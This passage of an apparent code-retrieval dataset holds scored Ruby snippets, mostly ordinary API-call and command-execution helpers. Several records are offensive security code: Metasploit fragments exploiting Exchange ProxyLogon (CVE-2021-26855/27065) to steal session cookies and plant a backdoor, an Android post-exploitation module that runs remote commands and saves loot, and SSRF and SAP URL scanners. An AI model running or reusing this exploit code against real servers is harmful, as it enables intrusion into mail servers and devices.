target') if remote_file.empty?\n\n # wait a lot.\n i = 0\n while i < datastore['MaxWaitLoop']\n received = send_request_cgi({\n 'method' => 'GET',\n 'uri' => normalize_uri(\"/owa/auth/#{remote_file}\")\n }, timeout = 2.5)\n if received && (received.code == 200)\n break\n end\n\n print_warning(\" * wait a lot (#{i})\")\n sleep 5\n i += 1\n end\n\n [input_name, remote_file]\n end", "title": "" }, { "docid": "e74f8b6b6c4c6df6b9683b449c7fc9b2", "score": "0.5543378", "text": "def run_cmd(cmd)\n req = JsonRequest.new(\"exec\", cmd.to_hash)\n return req.exec(agent_uri)\n end", "title": "" }, { "docid": "93d3d329ff5185bc682d258d50c7522f", "score": "0.5538724", "text": "def run(api_method = :api)\n orig_command = \"%s %s\" % [api_method, raw]\n Log.debug \"saying #{orig_command}\"\n @fs_socket.say(orig_command)\n end", "title": "" }, { "docid": "18a4ac14ae712ebca1cf1e8b2cc71b5f", "score": "0.55054057", "text": "def exec\n path = File.join(options[:bin_path], 'response')\n `#{path} pathfile=#{options[:pathfile]} message=#{message}`\n end", "title": "" }, { "docid": "cf661e39e5efb9d4ebbc89f1f50a1825", "score": "0.5500919", "text": "def perform_api_request(query) \n request = Net::HTTP::Post.new( \n $url.path + ($url.query != nil ? (\"?\" + $url.query) : \"\"), \n initheader = {\"Content-Type\" => \"application/json\", \n \"X-Replicon-Security-Context\" => \"User\"}) \n request.basic_auth($companyKey + \"\\\\\" + $loginname, $password) \n request.body = JSON.generate(query) \n \n server = Net::HTTP.new($url.host, $url.port) \n server.use_ssl = $url.scheme == \"https\" \n response = server.start {|http| http.request(request)} \n \n http_code = response.code.to_i \n if http_code != 200 \n puts response.body \n raise \"Expected success code 200, but was #{http_code}\" \n end \n \n return JSON.parse(response.body) \nend", "title": "" }, { "docid": "c2c3ce675ee03cc8745df7cbc3ee5b86", "score": "0.549077", "text": "def exec_api_call(rest_type, req, data = nil, exit_on_fail = false)\n max_retry = RETRIES\n get_hash = nil\n attempts = 0\n is_good = false\n while !is_good && attempts < max_retry\n attempts += 1\n get_hash = call_api(req, rest_type, data)\n is_good = get_hash[:status]\n unless is_good\n exit_script() if exit_on_fail\n puts \"Got Error making API call - #{req} \"\n if attempts < max_retry\n puts \"Retrying #{attempts}\"\n sleep(4 * attempts)\n end\n end\n end\n get_hash\n end", "title": "" }, { "docid": "5dd76e64c5fe280358a71e155ad5aac1", "score": "0.54733336", "text": "def fake_exec_api(agent, operation, params)\n call = Call.new(agent, operation, params)\n stub = API.stubs.shift\n assert stub, \"Unexpected API call (no response stub set)\\n#{call}\"\n assert stub.test(call), \"Stub didn't match API call:\\n#{call}\"\n\n res = stub.response\n res = res.to_json_response if res.kind_of? CommandResponse\n logger.debug res\n return res\n end", "title": "" }, { "docid": "d31d2e6b457bd8c183d621e9dab21b90", "score": "0.5431365", "text": "def exec\n proxied_connection.exec\n end", "title": "" }, { "docid": "71d3a02e897a7bda41ec9bf6380d8483", "score": "0.54312557", "text": "def with_api(api, options = {}, &blk)\n server(api, options.delete(:port) || 9900, options, &blk)\n end", "title": "" }, { "docid": "7db6eaa5039493a312ed1d88816a2bf5", "score": "0.54210234", "text": "def exec(op, params)\n exec_api(JsonRequest.new(op, params))\n end", "title": "" }, { "docid": "1edcd5d82773d74a2abb488e3fd5b534", "score": "0.5420724", "text": "def run(api_method = :api)\n orig_command = \"%s %s\" % [api_method, raw]\n Log.debug \"saying #{orig_command}\"\n @fs_socket.say(orig_command)\n end", "title": "" }, { "docid": "1edcd5d82773d74a2abb488e3fd5b534", "score": "0.5420724", "text": "def run(api_method = :api)\n orig_command = \"%s %s\" % [api_method, raw]\n Log.debug \"saying #{orig_command}\"\n @fs_socket.say(orig_command)\n end", "title": "" }, { "docid": "fe8f496b13b18c08fc8d1d3aa931571d", "score": "0.5419986", "text": "def run_locally(cmd)\n logger.trace \"executing locally: #{cmd.inspect}\" if logger\n `#{cmd}`\n end", "title": "" }, { "docid": "86e642fbe1f0cb0a3b53d8b5cd3b9b82", "score": "0.5414009", "text": "def run_cve_2021_26855\n # request for internal server name.\n response = send_http(datastore['METHOD'], 'localhost~1942062522')\n if response.code != 500 || response.headers['X-FEServer'].empty?\n print_bad('Could\\'t get the \\'X-FEServer\\' from the headers response.')\n\n return\n end\n server_name = response.headers['X-FEServer']\n print_status(\" * internal server name (#{server_name})\")\n\n # get informations by autodiscover request.\n print_status(message('Sending autodiscover request'))\n server_id, @legacy_dn = request_autodiscover(server_name)\n\n print_status(\" * Server: #{server_id}\")\n print_status(\" * LegacyDN: #{@legacy_dn}\")\n\n # get the user UID using mapi request.\n print_status(message('Sending mapi request'))\n @sid = request_mapi(server_name, server_id)\n print_status(\" * sid: #{@sid} (#{datastore['EMAIL']})\")\n\n # request cookies (session and canary)\n print_status(message('Sending ProxyLogon request'))\n session_info = request_proxylogon(server_name)\n\n print_status(\" * ASP.NET_SessionId: #{session_info[0]}\")\n print_status(\" * msExchEcpCanary: #{session_info[1]}\")\n @session = \"ASP.NET_SessionId=#{session_info[0]}; msExchEcpCanary=#{session_info[1]};\"\n\n # get OAB id\n oab_id = request_oab(server_name, session_info[1])\n print_status(\" * OAB id: #{oab_id[1]} (#{oab_id[0]})\")\n\n [server_name, session_info[1], oab_id]\n end", "title": "" }, { "docid": "91fb7dae5c6be2aa7b179c76172424f7", "score": "0.54040027", "text": "def run_host(ip)\n\t\t# If URLFILE is set empty, obviously the user made a silly mistake\n\t\tif datastore['URLFILE'].empty?\n\t\t\tprint_error(\"Please specify a URLFILE\")\n\t\t\treturn\n\t\tend\n\n\t\t# Initialize the actual URLFILE path\n\t\tif datastore['URLFILE'] == \"sap_icm_paths.txt\"\n\t\t\turl_file = \"#{Msf::Config.data_directory}/wordlists/#{datastore['URLFILE']}\"\n\t\telse\n\t\t\t# Not the default sap_icm_paths file\n\t\t\turl_file = datastore['URLFILE']\n\t\tend\n\n\t\t# If URLFILE path doesn't exist, no point to continue the rest of the script\n\t\tif not File.exists?(url_file)\n\t\t\tprint_error(\"Required URL list #{url_file} was not found\")\n\t\t\treturn\n\t\tend\n\n\t\tres = send_request_cgi(\n\t\t\t{\n\t\t\t\t'uri' => \"/\" + Rex::Text.rand_text_alpha(12),\n\t\t\t\t'method' => 'GET',\n\t\t\t\t'ctype' => 'text/plain',\n\t\t\t}, 20)\n\n\t\tif res\n\t\t\tprint_status(\"Note: Please note these URLs may or may not be of interest based on server configuration\")\n\t\t\t@info = []\n\t\t\tif not res.headers['Server'].nil?\n\t\t\t\t@info << res.headers['Server']\n\t\t\t\tprint_status(\"#{rhost}:#{rport} Server responded with the following Server Header: #{@info[0]}\")\n\t\t\telse\n\t\t\t\tprint_status(\"#{rhost}:#{rport} Server responded with a blank or missing Server Header\")\n\t\t\tend\n\n\t\t\tif (res.body and /class=\"note\">(.*)code:(.*)</i.match(res.body) )\n\t\t\t\tprint_error(\"#{rhost}:#{rport} SAP ICM error message: #{$2}\")\n\t\t\tend\n\n\t\t\t# Load URLs\n\t\t\turls_to_check = []\n\t\t\tf = File.open(url_file)\n\t\t\tf.each_line do |line|\n\t\t\t\turls_to_check.push line\n\t\t\tend\n\n\t\t\tprint_status(\"#{rhost}:#{rport} Beginning URL check\")\n\t\t\turls_to_check.each do |url|\n\t\t\t\tcheck_url(url.strip)\n\t\t\tend\n\t\telse\n\t\t\tprint_error(\"#{rhost}:#{rport} No response received\")\n\t\tend\n\n\tend", "title": "" }, { "docid": "7c04e60fad24d54245e0d6fb1530d476", "score": "0.5392572", "text": "def run\n\t\treq = Net::HTTP::Put.new(uri.path)\n\t\treq.body = query_string\n\t\tres = Net::HTTP.start(url.host, url.port) { |http|\n\t\t http.request(req)\n\t\t}\n\t\tres.body\n\tend", "title": "" }, { "docid": "569f7286010c0858f8943a30ef7b6e94", "score": "0.5391662", "text": "def run\n\n #\n # Variable declarations (msf API calls)\n #\n session = client\n sysnfo = session.sys.config.sysinfo\n runtor = client.sys.config.getuid\n runsession = client.session_host\n directory = client.fs.dir.pwd\n build_prop = get_build_prop # Grab android version release\n #\n # draw module banner ..\n #\n print_line(\"+-------------------------------------+\")\n print_line(\"| ANDROID AUXILIARY POST-MODULE |\")\n print_line(\"| Author : r00t-3xp10it (ssa-redteam) |\")\n print_line(\"+-------------------------------------+\")\n print_line(\"\")\n print_line(\" Running on session : #{datastore['SESSION']}\")\n print_line(\" Target IP addr : #{runsession}\")\n print_line(\" Payload directory : #{directory}\")\n print_line(\" Operative System : #{sysnfo['OS']}\")\n print_line(\" Client UID : #{runtor}\")\n print_line(\"\")\n print_line(\"\")\n\n\n #\n # check for proper config settings enter\n # to prevent 'unset all' from deleting default options ..\n #\n if datastore['EXEC_COMMAND'] == 'nil'\n print_error(\"[ABORT]: Options not configurated correctly!\")\n print_warning(\"Please set EXEC_COMMAND <command>\")\n return nil\n end\n #\n # Check for proper target operative system (Android)\n #\n unless sysinfo['OS'] =~ /Android/ || sysinfo['OS'] =~ /android/\n print_error(\"[ABORT]: This module only works againts Android systems!\")\n return nil\n end\n #\n # check for proper session (meterpreter)\n # the non-return of sysinfo command reveals that we are not on a meterpreter session!\n #\n unless sysinfo.nil?\n android_version = Gem::Version.new(build_prop['ro.build.version.release'])\n print_status(\"Running module against: android #{android_version}\")\n Rex::sleep(0.5)\n else\n print_error(\"[ABORT]: This module only works in meterpreter sessions!\")\n return nil\n end\n\n\n #\n # Single_command to execute remotely (user inputs) ..\n # Example: set EXEC_COMMAND <command>\n #\n exec_comm = datastore['EXEC_COMMAND']\n # check if exec_command option its configurated ..\n unless exec_comm.nil?\n print_status(\"Executing: #{exec_comm}\")\n Rex::sleep(0.5)\n # bash command to be executed remotely ..\n single_comm = cmd_exec(\"#{exec_comm}\")\n # print data on screen\n print_line(\"***************************************\")\n print_line(\"#{single_comm}\")\n print_line(\"***************************************\")\n Rex::sleep(0.2)\n #\n # store data into a local variable (data_dump) ..\n # to be able to write the logfile later.\n #\n data_dump=''\n data_dump << \"Executing: #{exec_comm}\\n\"\n data_dump << \"***************************************\\n\"\n data_dump << single_comm\n data_dump << \"***************************************\\n\\n\"\n end\n\n\n #\n # Store (data_dump) contents into loot folder? (local) ..\n # IF sellected previous the option (set STORE_LOOT true)\n #\n if datastore['STORE_LOOT'] == true\n print_warning(\"Writing session logfile!\")\n Rex::sleep(1.0)\n unless datastore['LOOT_FOLDER'] == 'nil'\n # generating random logfile name (6 chars)\n rand = Rex::Text.rand_text_alpha(6)\n loot_folder = datastore['LOOT_FOLDER']\n # create session output logfile\n File.open(\"#{loot_folder}/android_#{rand}.log\", \"w\") do |f|\n f.write(\"#{data_dump}\")\n f.close\n print_good(\"Logfile: #{loot_folder}/android_#{rand}.log\")\n end\n else\n print_error(\"[ABORT]: Options not configurated correctly!\")\n print_warning(\"Please set LOOT_FOLDER <full path>\")\n end\n end\n\n #\n # end of the 'def run()' funtion ..\n #\n end", "title": "" }, { "docid": "88b0d57d29eaa25b10a05335c853394b", "score": "0.5378809", "text": "def api action, path, params={}, body=nil\n body ||= params.delete(:BODY)\n\n remote_params = URI.encode_www_form params\n remote_path = debug_path = path.sub('%o', Flow.organization).sub(':organization', Flow.organization)\n remote_path += '?%s' % remote_params unless remote_params.blank?\n\n curl = ['curl -s']\n curl.push '-X %s' % action.to_s.upcase\n curl.push '-u %s:' % api_key\n\n if body\n body = body.to_json unless body.is_a?(Array)\n curl.push '-H \"Content-Type: application/json\"'\n curl.push \"-d '%s'\" % body.gsub(%['], %['\"'\"']) if body\n end\n\n curl.push '\"https://api.flow.io%s\"' % remote_path\n command = curl.join(' ')\n\n puts command if defined?(Rails::Console)\n\n dir = Rails.root.join('log/api')\n Dir.mkdir(dir) unless Dir.exist?(dir)\n debug_file = '%s/%s.bash' % [dir, debug_path.gsub(/[^\\w]+/, '_')]\n File.write debug_file, command + \"\\n\"\n\n data = JSON.load `#{command}`\n\n if data.kind_of?(Hash) && data['code'] == 'generic_error'\n data\n else\n data\n end\n end", "title": "" }, { "docid": "2af243f8b1a070d29c84b0173846713b", "score": "0.5373178", "text": "def execute(json_request, agent_id, host)\n fetch_response( execute_async(json_request, agent_id, host) )\n end", "title": "" }, { "docid": "dff5681596c5b01cab57a186cc96df57", "score": "0.5366562", "text": "def passthru\n\n end", "title": "" }, { "docid": "5498445e750d556297a6b3b92a25bd42", "score": "0.535522", "text": "def exec(command, options={})\n return destination_server.run(command, options)\n end", "title": "" }, { "docid": "b9d8771b96ec75bf82afddc84f97ac6b", "score": "0.53487605", "text": "def access_api(url)\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n file = File.open('bin/key.rb')\n request = Net::HTTP::Get.new(url)\n request[\"x-rapidapi-host\"] = 'skyscanner-skyscanner-flight-search-v1.p.rapidapi.com'\n request[\"x-rapidapi-key\"] = file.read\n\n response = http.request(request).read_body\n response_hash = JSON.parse(response) \nend", "title": "" }, { "docid": "2ad0f9d6c07b45b412c67858c541c438", "score": "0.53360325", "text": "def call_remote \n def method_missing(*args)\n method, path = args\n if [:get, :post, :delete].index(method)\n sh \"\\ncurl -w '\\\\n' -X #{method.to_s.upcase} http://ec262discovery.herokuapp.com#{path}\"\n end\n end\n\n yield\n end", "title": "" }, { "docid": "79e540e59dd6e82a32367c472eeca11e", "score": "0.5332105", "text": "def run_script(path, script, *cli_params)\n on primary :backend do |host|\n within path do\n unless test \" [ -e #{script} ] \"\n error I18n.t('resource.not_exists_on_host', resource: script, host: host.hostname, scope: :dkdeploy)\n next\n end\n\n with fetch(:typo3_environment_cli) do\n execute :php, script, *cli_params\n end\n end\n end\n end", "title": "" }, { "docid": "692ec6f7a13edeb7e177063259427dbe", "score": "0.53292876", "text": "def api_server\n @api_server ||= NewRelic::Control::Server.new(Agent.config[:api_host], Agent.config[:api_port])\n end", "title": "" }, { "docid": "00842e42d205fa45a6fe453b9d45cc20", "score": "0.5328392", "text": "def api_run(method, *opts, **kwds, &block)\n @res = @api.run(method, *opts, **kwds, &block)\n end", "title": "" }, { "docid": "a9cc285b24e0b3df6e335add42166c09", "score": "0.53105104", "text": "def api_execute(path, method, options = {})\n params = options[:params]\n case method\n when :get\n req = build_http_request(Net::HTTP::Get, path, params)\n when :post\n req = build_http_request(Net::HTTP::Post, path, nil, params)\n when :put\n req = build_http_request(Net::HTTP::Put, path, nil, params)\n when :delete\n req = build_http_request(Net::HTTP::Delete, path, params)\n else\n fail \"Unknown http action: #{method}\"\n end\n timeout = options[:timeout] || @read_timeout\n http = Net::HTTP.new(host, port)\n http.read_timeout = timeout\n setup_https(http)\n req.basic_auth(user_name, password) if [user_name, password].all?\n Log.debug(\"Invoking: '#{req.class}' against '#{path}\")\n res = http.request(req)\n Log.debug(\"Response code: #{res.code}\")\n process_http_request(res, req, params)\n end", "title": "" }, { "docid": "6e48303b53acad1e2c56ef0f28867faf", "score": "0.53041095", "text": "def ruby_script(host, command_lines, options = {})\n execute(__method__, host, command_lines, options)\n end", "title": "" }, { "docid": "dc51aef8e0d52be8e87462d09efe6cf2", "score": "0.5299321", "text": "def exec( command, want_reply=false )\n send_request_string \"exec\", command, want_reply\n end", "title": "" }, { "docid": "cea5a08b63ef7f060ad6e96c9de5d974", "score": "0.5287794", "text": "def exec_script(script_text)\n response = api_post_request('/scriptText', {'script' => script_text}, true)\n response.body\n end", "title": "" }, { "docid": "46f0f3124603c59f7b6808844329e44b", "score": "0.5279169", "text": "def run_cve_2021_27065(session_info)\n # set external url (and set the payload).\n print_status('Prepare the payload on the remote target')\n input_name = install_payload(session_info)\n\n fail_with(Failure::NoAccess, 'Could\\'t prepare the payload on the remote target') if input_name.empty?\n\n # reset the virtual directory (and write the payload).\n print_status('Write the payload on the remote target')\n remote_file = write_payload(session_info)\n\n fail_with(Failure::NoAccess, 'Could\\'t write the payload on the remote target') if remote_file.empty?\n\n # wait a lot.\n i = 0\n while i < datastore['MaxWaitLoop']\n received = send_request_cgi({\n 'method' => 'GET',\n 'uri' => normalize_uri(web_directory, remote_file)\n })\n if received && (received.code == 200)\n break\n end\n\n print_warning(\"Wait a lot (#{i})\")\n sleep 5\n i += 1\n end\n fail_with(Failure::PayloadFailed, 'Could\\'t take the remote backdoor (see. ExchangePathBase option)') if received.code == 302\n\n [input_name, remote_file]\n end", "title": "" }, { "docid": "4f2361ac0e2a9f34d1b3533a7cb6f72c", "score": "0.52652055", "text": "def invoke_api_tasks(_hostname, _remote_options)\n raise NotImplementedError\n end", "title": "" }, { "docid": "5d947742959cf5474f63953a7c94243c", "score": "0.5260899", "text": "def command_uri\n return \"/api_#{@command_name}.php\"\n end", "title": "" }, { "docid": "e529ff978b72c6bc81c80e0aae08620d", "score": "0.5247096", "text": "def run(cmd)\n #logger.trace \"executing locally: #{cmd.inspect}\" if logger\n run_locally cmd\n # puts `#{cmd}`\nend", "title": "" }, { "docid": "0d7a90a9fec68dc74f415866735c5b56", "score": "0.5236038", "text": "def remote_cmd (upload_type, infile)\n server = \"http://roz.bc.edu:8080\"\n base_url = server + \"/mlab/upld\"\n return RestClient.post(base_url,\n {\"upload-type\" => upload_type,\n :subtype => \"remote\",\n :user => ENV['LOGNAME'].downcase,\n :host => ENV[\"HOST\"],\n :file => File.new(infile)},\n {:cookies => {:user => ENV['LOGNAME'].downcase}})\nend", "title": "" }, { "docid": "df6efa4b379bacdeeba128fe79c7774c", "score": "0.5219734", "text": "def exec_api(agent, operation, params)\n begin\n uri = agent.uri\n post = JsonRequest.new(operation, params)\n debug { \"uri: \" + uri }\n debug { post.to_s }\n\n if crypto_enabled? then\n ret = http_post(uri, encrypt_for_agent(agent, post.to_json))\n res = decrypt_from_agent(agent, ret)\n else\n res = http_post_json(uri, post.to_json)\n end\n\n ret = JsonResponse.from_json(res)\n debug { ret.to_s }\n return ret\n\n rescue Curl::Err::CurlError => ex\n ret = JsonResponse.new(\"fail\", ex.message, ex.backtrace)\n debug { ret.to_s }\n return ret\n end\n end", "title": "" }, { "docid": "1cf6c8796c374ba0d73e4d58ee2dca7b", "score": "0.521366", "text": "def execute_and_get_response(parameters, api_method, developerPayload)\n response = api_client.execute(\n :api_method => api_method,\n :parameters => parameters,\n :body=> developerPayload.to_json,\n :headers => {'Content-Type' => \"application/json\" }\n\n )\n response\n end", "title": "" }, { "docid": "326f4c9a1ee80381ea505d9f427bc15e", "score": "0.5211141", "text": "def api(path,lastmodified = nil) #Returns the FRC API file for the specified path in JSON format.\n #Warning: api() returns an HTTP response while reqapi() returns a JSON string.\n begin\n \tputs \"I am accessing the API at path #{path}\"\n \toptions = { 'User-Agent' => \"https://github.com/2468scout/2468Scout-Ruby-Server\", #Dunno what this is but Isaac did it\n 'Authorization' => \"Basic #{$token}\", #Standard procedure outlined by their API\n 'accept' => \"application/json\" #We want JSON files, so we will ask for JSON\n \t}\n \t#FMS-OnlyModifiedSince will return just a 304\n \t#If-Modified-Since will return a 200 no matter what, for some reason\n \toptions['FMS-OnlyModifiedSince'] = lastmodified if lastmodified\n #puts options['If-Modified-Since']\n #open(\"#{$server}#{path}\", options).read\n toreturn = {}\n\n if $toggle_manual_input\n \tputs \"I want to access #{path}, but manual input is turned on! Please type the filename to use in its place.\"\n \tfilename = \"\"\n \twhile(!File.exists? filename)\n \t\tputs \"Try file name: \"\n \t\tfilename = gets\n \t\tputs \"Searching for the file #{filename}...\"\n \tend\n \tjsondata = retrieveJSON(filename)\n \ttoreturn = OpenStruct.new(:body => jsondata, :meta => {}, :staus => ['200', 'OK']) \n else\n\t open(\"#{$server}#{path}\", options) do |response|\n\t \tbody = \"\"\n\t \tresponse.each_line do |line|\n\t \t\tbody << line.to_s\n\t \tend\n\t \t#response.base_uri.to_s\n\t \ttoreturn = OpenStruct.new(:body => body, :meta => response.meta, :status => response.status)\n\t \t#must create a persistent object out of the response, as response is not accessible outside this method\n\t end\n\tend\n toreturn\n rescue => e\n \tputs \"Something went wrong #{e.class}, message is #{e.message}\"\n toreturn = '{}'\n if (e.message.include? '304') \n \ttoreturn = OpenStruct.new(:body => '{}', :status => ['304','Not Modified'])\n\tend\n\ttoreturn #If error, return empty JSON-ish, or 304 if 304\n end\nend", "title": "" }, { "docid": "0e1bcf2d63bb1539443b08285c862d4e", "score": "0.5210407", "text": "def test_connection\n response = send_api_request(:index)\n response[:returncode]\n end", "title": "" }, { "docid": "0e1bcf2d63bb1539443b08285c862d4e", "score": "0.5210407", "text": "def test_connection\n response = send_api_request(:index)\n response[:returncode]\n end", "title": "" }, { "docid": "6ca283a0548df0795f7f6939c59d7824", "score": "0.5207527", "text": "def queryOS(args)\n begin\n p = Hash.new\n uri = URI(args[:entrypoint])\n p[\"header\"] = {'Content-type'=>'application/json','Accept-type'=>'application/json','X-Auth-Token'=>args[:token]}\n case args[:component].to_s\n when \"Nova\"\n p[\"port\"] = uri.port || 8774\n\tp[\"path\"] = uri.path\n when \"Glance\"\n p[\"port\"] = uri.port || 9292\n p[\"path\"] = uri.path || \"/v1\"\n when \"Volume\"\n p[\"port\"] = uri.port || 8776\n\tp[\"path\"] = uri.path\n when \"Swift\" \n p[\"port\"] = uri.port || 8080\n\tp[\"path\"] = uri.path\n when \"Keystone\"\n p[\"port\"] = uri.port || 35357\n p[\"path\"] = uri.path || \"/v2/tokens\"\n when \"Cloud\"\n p[\"port\"] = uri.port || 8773\n p[\"path\"] = uri.path || \"/services/Cloud\"\n p[\"header\"] = {'Content-type'=>'application/xml','Accept-type'=>'application/xml'}\n else\n return false\n end\n p[\"location\"] = uri.host || \"\"\n p[\"path\"] = p[\"path\"] + args[:path] || uri.path\n p[\"request\"] = args[:request] || \"\"\n os = Net::HTTP.new(p[\"location\"],p[\"port\"])\n if uri.scheme == \"https\"\n os.use_ssl = true\n else\n os.use_ssl = false\n end\n resp = nil\n case args[:method].to_s\n when \"post\"\n resp = os.post(p[\"path\"], p[\"request\"], p[\"header\"])\n when \"get\"\n resp = os.get(p[\"path\"], p[\"header\"])\n when \"update\"\n resp = os.put(p[\"path\"], p[\"request\"], p[\"header\"])\n when \"delete\"\n resp = os.delete(p[\"path\"], p[\"header\"])\n end\n newdata = false\n if resp.code.to_i >= 200 and resp.code.to_i < 300\n if args[:component].to_s == \"Cloud\"\n newdata = resp.body\n else\n\t if args[:method].to_s == \"delete\"\n\t newdata = true\n else\n newdata = JSON resp.body\n end\n end\n end\n os = nil\n p = nil\n return newdata\n rescue Errno::EHOSTUNREACH\n false\n end\n end", "title": "" }, { "docid": "a25e82ac3368ffb18c7aeee4510591d4", "score": "0.52063274", "text": "def hit_api_direct\n # CollegiateLink API needs some data to be hashed and sent for auth purposes\n time = (Time.now.to_f * 1000).to_i.to_s\n ipaddress = ENV['cl_ipaddress']\n apikey = ENV['cl_apikey']\n privatekey = ENV['cl_privatekey']\n random = SecureRandom.hex\n hash = Digest::SHA256.hexdigest(apikey + ipaddress + time + random + privatekey)\n\n url = ENV['cl_apiurl'] + @resource + \"?time=\" + time + \"&apikey=\" + apikey + \"&random=\" + random + \"&hash=\" + hash + @url_options\n return send_request(url, nil)\n end", "title": "" }, { "docid": "13e7ebd070526f5387676d587b78179e", "score": "0.52054006", "text": "def run\n # Your code here, eg: task execute: :environment do\n beta_response = RestClient.get 'http://beta.treadhunter.com'\n prod_response = RestClient.get 'http://www.treadhunter.com'\n \n # use log() for writing to scheduler daemon log\n log(\"Beta response: #{beta_response.code}\")\n log(\"Prod response: #{prod_response.code}\")\n end", "title": "" }, { "docid": "e86bf703d576109ced127173e7658b7f", "score": "0.52018046", "text": "def run(command={})\n # parse the query to see what we're doing\n begin\n raise RuntimeError, 400 unless command.is_a?(Hash) and command.has_key? 'path'\n result, code = command['path'][1]\n external = command['path'][1][1..-1]\n begin\n #lazily load the plugin.\n require \"#{File.dirname(__FILE__)}/external/#{external}.rb\"\n External.handle command\n rescue LoadError => e\n $stderr.puts \"#{e.class}: No such external handler for #{external}\"\n end\n rescue => e\n #$error.puts e.message if @debug\n if e.message.is_a?(Fixnum) then\n {:code => e.message, :body => e.class}\n end\n end\n {:code => code || 200, :json => result}\n end", "title": "" }, { "docid": "7f778d3780ac80bb666d69b0eab7c7cc", "score": "0.5192289", "text": "def run_script(friendly_name, server)\n audit = server.run_executable(@scripts_to_run[friendly_name])\n audit.wait_for_completed\n end", "title": "" }, { "docid": "b567936386e9f4b4424e3b6e4187d59a", "score": "0.51914126", "text": "def run_runner_api_process(options)\n # Remove profile from options. All other are passed to Runner.\n profile = options.delete(:profile)\n\n # Make a tmpfile\n Tempfile.open do |script|\n\n # Clear and concat - can't just assign, it's readonly\n script.puts <<~EOSCRIPT\n # Ruby load path\n $LOAD_PATH.clear\n $LOAD_PATH.concat(#{$LOAD_PATH})\n\n # require inspec\n require \"inspec\"\n require \"inspec/runner\"\n\n # inject pretty-printed runner opts\n runner_args = #{options.inspect}\n # Profile to run:\n profile_location = \"#{profile}\"\n\n # Run Execution\n runner = Inspec::Runner.new(runner_args)\n runner.add_target profile_location\n runner.run\n EOSCRIPT\n script.flush\n\n run_cmd(\"ruby #{script.path}\")\n end\n end", "title": "" }, { "docid": "ac88138760fa151a3d9b70582f531e49", "score": "0.51878035", "text": "def run\n client.run\n end", "title": "" }, { "docid": "92b6fd449081fb85b7419da539cead68", "score": "0.5185673", "text": "def main\n s = GRPC::RpcServer.new\n s.add_http2_port('0.0.0.0:50051', :this_port_is_insecure)\n s.handle(RequesterServer)\n s.run_till_terminated\nend", "title": "" }, { "docid": "aced9ce2cec8c57662b4a6929f457c68", "score": "0.5164652", "text": "def new_api\n load_config\n require 'extensions/metasploit/extension.rb'\n @api = BeEF::Extension::Metasploit::RpcClient.instance\n @api.unit_test_init()\n end", "title": "" }, { "docid": "ad18d80f53a1f563c5bb83244062e2ad", "score": "0.51609516", "text": "def deploy\n system %Q[ssh -lroot \"#{server}\" <<'EOF'\n \tcat >\"#{remote_script_name}\" <<'EOS'\n#{generate}EOS\nchmod +x \"#{remote_script_name}\"\nsource \"#{remote_script_name}\"\nEOF\n ]\n end", "title": "" }, { "docid": "2db9d3cc47b341f8bad7ec0a15896f78", "score": "0.51566076", "text": "def call_endpoint(main, endpoint, args)\n\n base = File.dirname(__FILE__)\n\n system(\"cp #{File.join(base, endpoint)} #{main.config[:basedir]}\")\n\n wp = File.basename(main.config[:wp])\n url = URI.join(main.config[:local], \"#{endpoint}?wp-dir=#{wp}&#{args}\")\n\n puts Net::HTTP.get(url)\n\n system(\"rm #{File.join(main.config[:basedir], endpoint)}\")\nend", "title": "" }, { "docid": "15cb694556acf9a8f84ae28d2ebea975", "score": "0.5155448", "text": "def exec\n binding.pry\n # command.run(*service.exec(args.command))\n end", "title": "" }, { "docid": "54d1a1895a40f42e5c649b2e33a95bd0", "score": "0.5151567", "text": "def main\n s = GRPC::RpcServer.new\n s.add_http2_port('0.0.0.0:50051', :this_port_is_insecure)\n s.handle(CalculadoraServer)\n s.run_till_terminated\nend", "title": "" }, { "docid": "49de1afa9a4f3f4dbbfe025395c86f93", "score": "0.51493573", "text": "def run\n super\n\n uri = _get_entity_name\n opt_target_env = _get_option(\"target_environment\")\n\n payloads = [\n {\n :environment => \"local\",\n :name => \"Localhost\",\n :host => \"127.0.0.1\",\n :path => \"/\",\n :success_regex => /^.*$/\n },\n #{\n # :environment => \"aws\",\n # :name => \"AWS Credential Metadata\",\n # :host => \"169.254.169.254\",\n # :path => \"/latest/meta-data/\",\n # :success_regex => /Code\\\"/\n #},\n #{\n # :environment => \"aws\",\n # :name => \"AWS Host Metadata\",\n # :host => \"169.254.169.254\",\n # :path => \"/latest/meta-data/hostname\",\n # :success_regex => /$.*internal$/\n #},\n #{\n # :environment => \"azure\",\n # :name => \"Azure Metadata\",\n # :host => \"169.254.169.254\",\n # :path => \"/metadata/instance?api-version=2017-08-01\",\n # :success_regex => /compute\\\"/\n #}\n ]\n\n _log \"Starting SSRF Responder server\"\n Intrigue::Task::Server::SsrfResponder.start_and_background\n\n # TODO We should test here for an ignored host header - just send nonsense\n # and see if it behaves the same (returns same content), if so, probably not\n # worth checking\n normal = http_request :get, uri\n #nonsense_response = http_request :get, uri, nil, {\"Host\" => \"-1\"}\n #response = http_request :get, uri, nil, {\"Host\" => \"-1\"}\n\n payloads.each do |payload|\n\n # if we're not checking all, then we should match the desired environment\n if opt_target_env != \"all\"\n unless opt_target_env.split(\",\").include? \"#{payload[:environment]}\"\n _log \"Skipping #{payload[:environment]}, target set to #{opt_target_env.split(\",\")}\"\n next\n end\n end\n\n # make the request and collect the response\n # TODO... handle a trailing slash here\n generated_uri = \"#{uri}#{payload[:path]}\"\n\n # call with the host header, and make sure not to follow redirects (we can end\n # up returning our own creds o_0\n response = http_request :get, generated_uri, nil, {\"Host\" => payload[:host] }, nil, 1\n\n #_log \"Testing payload: #{payload} on #{generated_uri}\"\n\n # check the response for success\n if response &&\n response.body_utf8[0..50] != normal.body[0..50] # && # not the same\n #!(response[\"location\"] =~ /127.0.0.1/) && # redirect... usually useless\n #response.code != \"301\" && # redirect... usually useless\n #response.code != \"302\" && # redirect... usually useless\n #response.code != \"400\" && # sometimes it's a generic 400, useless\n #response.code != \"403\" && # not a 403 (Cloudfront)\n #response.code != \"404\" # not a 404\n\n # only if it matches our success cond.\n unless response.body_utf8.match(payload[:success_regex])\n _log \"Interesting response, but doesn't match our success criteria\"\n _log \"---\"\n _log \"#{response.body_utf8}\"\n _log \"---\"\n next\n end\n\n _log \"SUCCESS!\"\n\n #_set_entity_detail \"host_header_ssrf\", {\n # \"host_header\" => \"#{payload[:host_header]}\",\n # \"code\" => \"#{response.code}\",\n # \"body\" => \"#{response.body_utf8}\"\n #}\n\n # save off enough information to investigate\n ssrf_issue = {\n name: \"Potential #{payload[:environment]} 